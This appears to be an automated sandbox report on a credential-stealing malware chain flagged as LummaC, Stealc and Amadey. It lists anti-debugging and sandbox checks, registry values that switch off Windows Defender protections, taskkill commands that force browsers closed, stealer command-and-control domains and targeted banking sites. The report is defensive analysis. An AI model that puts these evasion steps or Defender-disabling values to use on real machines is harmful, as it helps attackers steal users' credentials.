Source: file.exe, 00000000.00000003.2142391592.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134302834.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134448591.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142550438.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW_
Source: 26e226f915.exe, 0000000B.00000002.2904278824.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: ef2532c0b1.exe, 0000000C.00000002.3014293851.000000000159E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware6N
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: ef2532c0b1.exe, 0000000C.00000002.3014293851.000000000159E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: ST44OD0PMG8MCMYJRN4.exe, 00000003.00000002.2368194252.000000000031E000.00000040.00000001.01000000.00000006.sdmp, 9NWW1UIUAOJA8NFOZHWEDA.exe, 00000004.00000002.2409428853.0000000000881000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, 00000005.00000002.2404972213.000000000097E000.00000040.00000001.01000000.0000000A.sdmp, M0SHVBI03XTU9LNHD2O8UA8TC8F.exe, 00000006.00000002.2505747838.0000000000C27000.00000040.00000001.01000000.0000000B.sdmp, 26e226f915.exe, 0000000B.00000002.2902072979.0000000000A19000.00000040.00000001.01000000.0000000F.sdmp, ef2532c0b1.exe, 0000000C.00000002.3013331115.0000000000421000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe

Code function: 3_2_05030424 rdtsc

3_2_05030424

Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe

Code function: 6_2_00A9B7B2 LdrInitializeThunk,

6_2_00A9B7B2

Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 9NWW1UIUAOJA8NFOZHWEDA.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef2532c0b1.exe PID: 1016, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2114509876.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: clearancek.site
Source: file.exe, 00000000.00000003.2114509876.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: licendfilteo.site
Source: file.exe, 00000000.00000003.2114509876.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: spirittunek.store
Source: file.exe, 00000000.00000003.2114509876.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bathdoomgaz.store
Source: file.exe, 00000000.00000003.2114509876.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: studennotediw.store
Source: file.exe, 00000000.00000003.2114509876.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: dissapoiznw.store
Source: file.exe, 00000000.00000003.2114509876.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: eaglepawnoy.store
Source: file.exe, 00000000.00000003.2114509876.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mobbipenju.store

Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe "C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe "C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe "C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001229001\num.exe "C:\Users\user\AppData\Local\Temp\1001229001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 90bef5afae.exe, 0000000E.00000000.3036690309.00000000006D2000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: ST44OD0PMG8MCMYJRN4.exe, ST44OD0PMG8MCMYJRN4.exe, 00000003.00000002.2368194252.000000000031E000.00000040.00000001.01000000.00000006.sdmp, skotes.exe, skotes.exe, 00000005.00000002.2404972213.000000000097E000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: OkProgram Manager
Source: ef2532c0b1.exe, ef2532c0b1.exe, 0000000C.00000002.3013331115.0000000000421000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Program Manager
Source: firefox.exe, 0000001B.00000002.3257115436.0000004BF73FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: 26e226f915.exe, 0000000B.00000002.2902860466.0000000000A62000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: 9Program Manager
Source: M0SHVBI03XTU9LNHD2O8UA8TC8F.exe, 00000006.00000002.2505966124.0000000000C6F000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 3Program Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001229001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001229001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.2214786927.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 26e226f915.exe, 0000000D.00000003.3165945579.000000000169A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 37.2.J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ST44OD0PMG8MCMYJRN4.exe.130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2368072745.0000000000131000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.3296905401.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2327332998.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2733867471.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2404867306.0000000000791000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2364334996.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3339391328.0000000000821000.00000040.00000001.01000000.0000001D.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 0000000E.00000003.3097542418.000000000135F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 90bef5afae.exe PID: 5204, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7160, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 26e226f915.exe PID: 4020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 26e226f915.exe PID: 6764, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 39.2.num.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.num.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.num.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.9NWW1UIUAOJA8NFOZHWEDA.exe.4a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.ef2532c0b1.exe.40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.num.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.ef2532c0b1.exe.40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.3104366518.0000000000181000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.3089240746.0000000000181000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3013087261.0000000000041000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.3176264555.00000000049F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2972676425.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2408818591.00000000004A1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
